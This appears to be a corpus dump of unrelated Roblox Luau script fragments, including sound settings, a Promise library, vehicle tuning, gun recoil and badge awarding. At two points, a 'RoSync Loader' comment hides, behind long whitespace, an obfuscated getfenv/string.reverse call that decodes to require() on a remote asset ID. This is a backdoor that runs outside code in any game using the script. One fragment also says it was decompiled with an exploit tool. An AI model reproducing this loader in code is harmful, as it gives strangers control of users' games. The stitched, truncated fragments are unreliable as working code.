Roblox/luau_corpus huggingface dataset:
--[[ Last synced 7/2/2022 01:06 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
-- Roblox character sound script

local Players = game:GetService("Players")
local RunService = game:GetService("RunService")

local SOUND_DATA : { [string]: {[string]: any}} = {
	Climbing = {
		SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3", --Change these IDs to what you want, it can be numbers, Roblox just has their default sounds look different.
		Looped = true,  --For example, if i change "rbxasset://sounds/action_footsteps_plastic.mp3" to your custom sound, it would play that sound when you have action footsteps. I don't know what action footsteps are im assuming it's just walking.
	},
	Died = {
		SoundId = "rbxasset://sounds/uuhhh.mp3",
	},
	FreeFalling = {
		SoundId = "rbxasset://sounds/action_falling.mp3",
		Looped = true,
	},
	GettingUp = {
		SoundId = "rbxasset://sounds/action_get_up.mp3",
	},
	Jumping = {
		SoundId = "rbxasset://sounds/action_jump.mp3",
	},
	Landing = {
		SoundId = "rbxasset://sounds/action_jump_land.mp3",
	},
	Running = {
		SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
		Looped = true,
		Pitch = 1.85,
	},
	Splash = {
		SoundId = "rbxasset://sounds/impact_water.mp3",
	},
	Swimming = {
		SoundId = "rbxasset://sounds/action_swim.mp3",
		Looped = true,
		Pitch = 1.6,
	},
}
--[=[
	Creates an immediately rejected Promise with the given value.

	:::caution
	Something needs to consume this rejection (i.e. `:catch()` it), otherwise it will emit an unhandled Promise rejection warning on the next frame. Thus, you should not create and store rejected Promises for later use. Only create them on-demand as needed.
	:::

	```lua
	-- Example using Promise.resolve to deliver cached values:
	function getSomething(name)
		if cache[name] then
			return Promise.resolve(cache[name])
		else
			return Promise.new(function(resolve, reject)
				local thing = getTheThing()
				cache[name] = thing

				resolve(thing)
			end)
		end
	end
	```

	@param ... any
	@return Promise<...any>
]=]
function Promise.reject(...)
	local length, values = pack(...)
	return Promise._new(debug.traceback(nil, 2), function(_, reject)
		reject(unpack(values, 1, length))
	end)
end
--[=[
	@return table
	Returns a serialized version of the option.
]=]
function Option:Serialize()
	return {
		ClassName = self.ClassName;
		Value = self._v;
	}
end
-- padding between each entry
local ENTRY_MARGIN = 1

local explorerPanel = script.Parent
local Input = game:GetService("UserInputService")
local HoldingCtrl = false
local HoldingShift = false

local addObject
local removeObject
local gameChildren = {}

table.insert(gameChildren, game:GetService("Workspace"))
table.insert(gameChildren, game:GetService("Players"))
table.insert(gameChildren, game:GetService("Lighting"))
table.insert(gameChildren, game:GetService("ReplicatedFirst"))
table.insert(gameChildren, game:GetService("ReplicatedStorage"))


pcall(function()
	table.insert(gameChildren, game:GetService("CoreGui"))
end)

table.insert(gameChildren, game:GetService("StarterGui"))
table.insert(gameChildren, game:GetService("StarterPack"))
table.insert(gameChildren, game:GetService("StarterPlayer"))
table.insert(gameChildren, game:GetService("SoundService"))
table.insert(gameChildren, game:GetService("Chat"))
table.insert(gameChildren, game:GetService("LocalizationService"))
table.insert(gameChildren, game:GetService("TestService"))

local childrenGame = {}

childrenGame[game:GetService("Workspace")] = true
childrenGame[game:GetService("Players")] = true
childrenGame[game:GetService("Lighting")] = true
childrenGame[game:GetService("ReplicatedFirst")] = true
childrenGame[game:GetService("ReplicatedStorage")] = true

pcall(function()
	childrenGame[game:GetService("CoreGui")] = true
end)

childrenGame[game:GetService("StarterGui")] = true
childrenGame[game:GetService("StarterPack")] = true
childrenGame[game:GetService("StarterPlayer")] = true
childrenGame[game:GetService("SoundService")] = true
childrenGame[game:GetService("Chat")] = true
childrenGame[game:GetService("LocalizationService")] = true
childrenGame[game:GetService("TestService")] = true

local MuteHiddenItems = true

local DexOutput = Instance_new("Folder")
DexOutput.Name = "Output"
local DexOutputMain = Instance_new("ScreenGui", DexOutput)
DexOutputMain.Name = "Dex Output"

local HiddenEntries = Instance_new("Folder")
local HiddenGame = Instance_new("Folder")
HiddenEntries.Name = "HiddenEntriesParent"
local HiddenEntriesMain = Instance_new("TextButton", HiddenEntries)
Instance_new("Folder", HiddenEntriesMain)

local function NameHiddenEntries()
	if MuteHiddenItems then
		HiddenEntriesMain.Name = "Expand to view (" .. (#game:children() - #gameChildren) .. ") hidden items"
	else
		HiddenEntriesMain.Name = "Collapse to hide (" .. (#game:children() - #gameChildren) .. ") more items"
	end
end

NameHiddenEntries()

local function print(...)
	local Obj = Instance_new("Dialog")
	Obj.Parent = DexOutputMain
	Obj.Name = ""
	for i,v in pairs(table.pack(...)) do
		Obj.Name = Obj.Name .. tostring(v) .. " "
	end
end

explorerPanel:WaitForChild("GetPrint").OnInvoke = function()
	return print
end
--[[
	An xpcall() error handler to collect and parse useful information about
	errors, such as clean messages and stack traces.
]]

local Package = script.Parent.Parent
local Types = require(Package.Types)

local function parseError(err: string): Types.Error
	return {
		raw = err,
		message = err:gsub("^.+:%d+:%s*", ""),
		trace = debug.traceback(nil, 2)
	}
end

return parseError
-- Parts
local Frame = Home:WaitForChild("Frame")

local Hook1 = Swing1:WaitForChild("Hook1")
local Hook2 = Swing1:WaitForChild("Hook2")
local Hook3 = Swing2:WaitForChild("Hook3")
local Hook4 = Swing2:WaitForChild("Hook4")
local SwingSeat1 = Swing1:WaitForChild("SwingSeat1")
local SwingSeat2 = Swing2:WaitForChild("SwingSeat2")
local SwingMesh1 = Swing1:WaitForChild("SwingMesh1")
local SwingMesh2 = Swing2:WaitForChild("SwingMesh2")

local RopeSupport1 = Supports:WaitForChild("RopeSupport1")
local RopeSupport2 = Supports:WaitForChild("RopeSupport2")
local RopeSupport3 = Supports:WaitForChild("RopeSupport3")
local RopeSupport4 = Supports:WaitForChild("RopeSupport4")
--[[ Last synced 10/9/2020 09:09                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[                                                                                                  ]]--
--[[ Place this script into "StarterPlayer.StarterPlayerScripts" ]]--
 
local StarterGui = game:GetService("StarterGui")
--I am an academic weapon and machine.
local MWorks = require(game:GetService("ReplicatedStorage"):WaitForChild("Package").MWorks)
local module = {}

function module:setupUpdate() --Not used externally. Used for setting up classes of all types
	self.Updated = MWorks.newBindable()
end

function module.newClass(attributes)
	local self = {}
	if attributes then 
		for i,v in pairs(attributes) do
			self[i] = v
		end
	end
	setmetatable(self,{
		__index = module;
	})
	self:setupUpdate()
	return self
end

function module:newSubClass(Name,attributes)
	local subClass = {}
	self[Name] = subClass
	if attributes then 
		for i,v in pairs(attributes) do
			self[i] = v
		end
	end
	setmetatable(subClass,{__index = self})
	subClass:setupUpdate()
	return subClass
end

function module:Update(...)
	local args = table.pack(...)
	if type(args[1]) == "table" then 
		local Table = args[1]
		for i,v in pairs(Table) do
			if self[i] then 
				self[i] = v
				self.Updated:Fire(i,v)
			end
		end
	elseif args[1] ~= nil then  
		local Name = args[1]
		local Value = args[2]
		self[Name] = Value
		self.Updated:Fire(Name,Value)
	else 
		self.Updated:Fire()
	end
end

function module:newValue(...)
	local args = table.pack(...)
	local index; 
	local Value;
	if #args < 1 then return end 
	if #args > 1 then 
		index = args[1]
		Value = args[2]
	else 
		index = #self+1
		Value = args[1]
	end
	self[index] = Value 
	self:Update(index,Value)
	return index 
end

function module:removeValue(index)
	if self[index] == nil then return end 
	self[index] = nil 
	self:Update()
end

return module
--Protected Turn 2A--: Standard GYR with a protected turn for two signal directions on one road and one on intersecting road
	--USES: Signal1, Signal1a, Signal2, Signal2a, Turn1, Turn2
while true do
	PedValues = script.Parent.Parent.PedValues
	SignalValues = script.Parent.Parent.SignalValues
	TurnValues = script.Parent.Parent.TurnValues
--// Walk and Sway
local L_125_

local L_126_ = 0.6
local L_127_ = 0.05 -- speed
local L_128_ = -0.1 -- height

local L_129_ = 0
local L_130_ = 0
local L_131_ = 35 --This is the limit of the mouse input for the sway
local L_132_ = -9 --This is the magnitude of the sway when you're unaimed
local L_133_ = -9 --This is the magnitude of the sway when you're aimed
-- Gradually regenerates the Humanoid's Health over time.

local REGEN_RATE = .5/100 -- Regenerate this fraction of MaxHealth per second.
local REGEN_STEP = 3 -- Wait this long between each regeneration step.
--Body Mover Setup--
local bp = body.BodyPosition
bp.Position = body.Position
bp.MaxForce = Vector3.new(math.huge,math.huge,math.huge)

local bg = myRoot.BodyGyro
bg.CFrame = myRoot.CFrame
bg.MaxTorque = Vector3.new(math.huge,math.huge,math.huge)
bgTorque = bg.MaxTorque
--[[Transmission]]
	Tune.TransModes		= {"Auto", "Semi", "Manual"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch
		
		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}								
		>First mode is default mode													]]
	
	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]	
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)
	
	--Gear Ratios
	Tune.FinalDrive		= 2.65			-- Gearing determines top speed and wheel torque
	Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
		--[[Reverse]]	0.5		,	-- Copy and paste a ratio to add a gear
		--[[Neutral]]	0			,	-- Ratios can also be deleted
		--[[ 1 ]]		0.350		,	-- Reverse, Neutral, and 1st gear are required
		
	}
	Tune.FDMult			= 1.5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
-- << ASSET PERMISSIONS >> (e.g. Gamepasses, Shirts, Models etc)
local Asset_Permissions = false -- Set to 'true' to use
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.ShrinkPotion-- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage

hitPart.Touched:Connect(function(hit)
	if debounce == true then
		if hit.Parent:FindFirstChild("Humanoid") then
			local plr = game.Players:FindFirstChild(hit.Parent.Name)
			if plr then
				debounce = false
				hitPart.BrickColor = BrickColor.new("Bright red")
				tool:Clone().Parent = plr.Backpack
				wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
				debounce = true
				hitPart.BrickColor = BrickColor.new("Bright green")
			end
		end
	end
end)
-- ROBLOX deviation END

local typesModule = require(Packages.JestTypes)
type Global_ArrayTable = typesModule.Global_ArrayTable
type Global_Col = typesModule.Global_Col
type Global_Row = typesModule.Global_Row
type Global_Table = typesModule.Global_Table
local pretty = require(Packages.PrettyFormat).format
-- Decompiled with the Synapse X Luau decompiler.

return {
	Name = "alias", 
	Aliases = {}, 
	Description = "Creates a new, single command out of a command and given arguments.", 
	Group = "DefaultUtil", 
	Args = { {
			Type = "string", 
			Name = "Alias name", 
			Description = "The key or input type you'd like to bind the command to."
		}, {
			Type = "string", 
			Name = "Command string", 
			Description = "The command text you want to run. Separate multiple commands with \"&&\". Accept arguments with $1, $2, $3, etc."
		} }, 
	ClientRun = function(p1, p2, p3)
		p1.Cmdr.Registry:RegisterCommandObject(p1.Cmdr.Util.MakeAliasCommand(p2, p3), true);
		return ("Created alias %q"):format(p2);
	end
};
--playNstop
function module.playNstop(anim, hum, dur)
	local animation = hum.Animator:LoadAnimation( anim)
	animation:Play()
	task.delay(dur, function()
		animation:Stop()
	end)
end
-- Local Functions
local function setupPlayerStats(player)
	local character = player.Character or player.CharacterAdded:wait()
	local humanoid = character:WaitForChild("Humanoid")	
	
	local stats = Instance.new("Folder")
	stats.Name = "stats"
	stats.Parent = player
 
	local points = Instance.new("NumberValue")
	points.Name = GameSettings.pointsName
	points.Value = DataStore:GetCurrentPoints(player)
	points.Parent = stats

	local totalpoints = Instance.new("IntValue")
	totalpoints.Name = "Total" .. GameSettings.pointsName
	totalpoints.Value = DataStore:GetTotalPoints(player)
	totalpoints.Parent = stats
	
	local upgrade = Instance.new("IntValue")
	upgrade.Name = GameSettings.upgradeName
	upgrade.Value = DataStore:GetUpgrades(player)
	upgrade.Parent = stats
end
-- Loading
local CutsceneFolder = workspace.Cutscenes:WaitForChild("run") -- The folder that contains the cutscene data (Cameras...)
local Destroy = true -- Destroy folder after loading? you don't want your player to see your cameras floating around!
local NoYield = false -- Generally you want this to be set to false, because loading takes a little bit of time, and you don't want to interact with the cutscene when it's not loaded
local SafeMode = true -- This is adviced to be turned on, especially if the cutscene folder data is too big to load at one frame. when turned on, it loads a camera every frame, not all at once.

local Cutscene = require(CutsceneModule)

local Demo = Cutscene.new(Camera, Looping, Speed, FreezeControls) -- Create cutscene
Demo:Load(CutsceneFolder, Destroy, NoYield, SafeMode) -- Load cutscene data from folder

local PlayOnPartTouch = script:FindFirstChild("PlayOnPartTouch")
local PlayOnPlayerJoin = script:FindFirstChild("PlayOnPlayerJoin")
local PlayOnCharacterAdded = script:FindFirstChild("PlayOnCharacterAdded")
local PlayOnCharacterDied = script:FindFirstChild("PlayOnCharacterDied")
local PlayOnEventFire = script:FindFirstChild("PlayOnEventFire")
local PlayOnRemoteEventFire = script:FindFirstChild("PlayOnRemoteEventFire")
local ProtectTheCharacterWhilePlaying = script:FindFirstChild("ProtectTheCharacterWhilePlaying")
local CharacterProtector = script:FindFirstChild("CharacterProtector")
local Music = script:FindFirstChild("Music")
local StopMusicWhenFinished = script:FindFirstChild("StopMusicWhenFinished")
local StopOnEventFire = script:FindFirstChild("StopOnEventFire")
local StopOnRemoteEventFire = script:FindFirstChild("StopOnRemoteEventFire")
local PlayOnce = script:FindFirstChild("PlayOnce")
local Debounce = script:FindFirstChild("Cooldown")
local OnFinishedRemove = script:FindFirstChild("OnFinishedRemove")
local bin = true
local Player = game:GetService("Players").LocalPlayer
local CutsceneGui = script:FindFirstChild("Cutscene")
-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService("BadgeService"):UserHasBadge(userid, badgeid)

local db = false


function OnTouch(part)
	if db then return else db = true end
	if (part.Parent:FindFirstChild("Humanoid") ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			if not game:GetService("BadgeService"):UserHasBadge(p.userId, script.Parent.BadgeID.Value) then
				print("Awarding BadgeID: " ..script.Parent.BadgeID.Value .. " to UserID: " .. p.userId)
				local b = game:GetService("BadgeService")
				b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
				game.PointsService:AwardPoints(p.userId,1000)
				wait(4 + math.random())
			end
		end
	end
	db = false
end

script.Parent.Touched:connect(OnTouch)
-- Local Variables
local TimeObject = workspace:WaitForChild('MapPurgeProof'):WaitForChild('Time')
local ScreenGui = script.Parent.ScreenGui
local Timer = ScreenGui.ScoreFrame.Frame.Timer
local Events = game:GetService("ReplicatedStorage").Events
local DisplayTimerInfo = Events.DisplayTimerInfo
--------|    Reference    |--------
local isServer = _L.Services.RunService:IsServer()
local events = {}
local funcs = {}
--Weld stuff here

MakeWeld(misc.Wiper.Hinge,car.DriveSeat,"Motor",.1)
ModelWeld(misc.Wiper.Parts,misc.Wiper.Hinge)
MakeWeld(misc.Wiper2.Hinge,car.DriveSeat,"Motor",.1)
ModelWeld(misc.Wiper2.Parts,misc.Wiper2.Hinge)

MakeWeld(car.Misc.Spoiler.SS,car.DriveSeat,"Motor",.04).Name="W"
ModelWeld(car.Misc.Spoiler.Parts,car.Misc.Spoiler.SS)


car.DriveSeat.ChildAdded:connect(function(child)
	if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
		child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
	end
end)
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------

function Create(ty,data)
	local obj
	if type(ty) == 'string' then
		obj = Instance.new(ty)
	else
		obj = ty
	end
	for k, v in pairs(data) do
		if type(k) == 'number' then
			v.Parent = obj
		else
			obj[k] = v
		end
	end
	return obj
end

local barActive = false
local activeOptions = {}

function createDDown(dBut, callback,...)
	if barActive then
		for i,v in pairs(activeOptions) do
			v:Destroy()
		end
		activeOptions = {}
		barActive = false
		return
	else
		barActive = true
	end
	local slots = {...}
	local base = dBut
	for i,v in pairs(slots) do
		local newOption = base:Clone()
		newOption.ZIndex = 5
		newOption.Name = "Option "..tostring(i)
		newOption.Parent = base.Parent.Parent.Parent
		newOption.BackgroundTransparency = 0
		newOption.ZIndex = 2
		table.insert(activeOptions,newOption)
		newOption.Position = UDim2.new(-0.4, dBut.Position.X.Offset, dBut.Position.Y.Scale, dBut.Position.Y.Offset + (#activeOptions * dBut.Size.Y.Offset))
		newOption.Text = slots[i]
		newOption.MouseButton1Down:connect(function()
			dBut.Text = slots[i]
			callback(slots[i])
			for i,v in pairs(activeOptions) do
				v:Destroy()
			end
			activeOptions = {}
			barActive = false
		end)
	end
end
-- Variables

local rs = game:GetService("RunService")

local plr = game.Players.LocalPlayer
local char = plr.Character

local mFrame = script.Parent
local iContainer = mFrame.ItemContainer

local currentTool = nil
--/Recoil Modification
module.camRecoil = {
	RecoilUp 		= 1
	,RecoilTilt 	= 1
	,RecoilLeft 	= 1
	,RecoilRight 	= 1
}

module.gunRecoil = {
	RecoilUp 		= 1
	,RecoilTilt 	= 1
	,RecoilLeft 	= 1
	,RecoilRight 	= 1
}

module.AimRecoilReduction = .85
module.AimSpreadReduction = 1

module.MinRecoilPower 			= 1
module.MaxRecoilPower 			= 1
module.RecoilPowerStepAmount 	= 1

module.MinSpread 				= 1
module.MaxSpread 				= 1					
module.AimInaccuracyStepAmount 	= 1
module.AimInaccuracyDecrease 	= 1
module.WalkMult 				= 1

module.MuzzleVelocityMod	 	= 1

return module
---CODE
	elseif folder.KV.Value.Value == "" and config.AllCodes.Value == true then
		huh.ButtonSound:Play()
		folder.KV.Value.Value = ""
		folder.CodePrivate.Value = ""
sys.Code.Value = true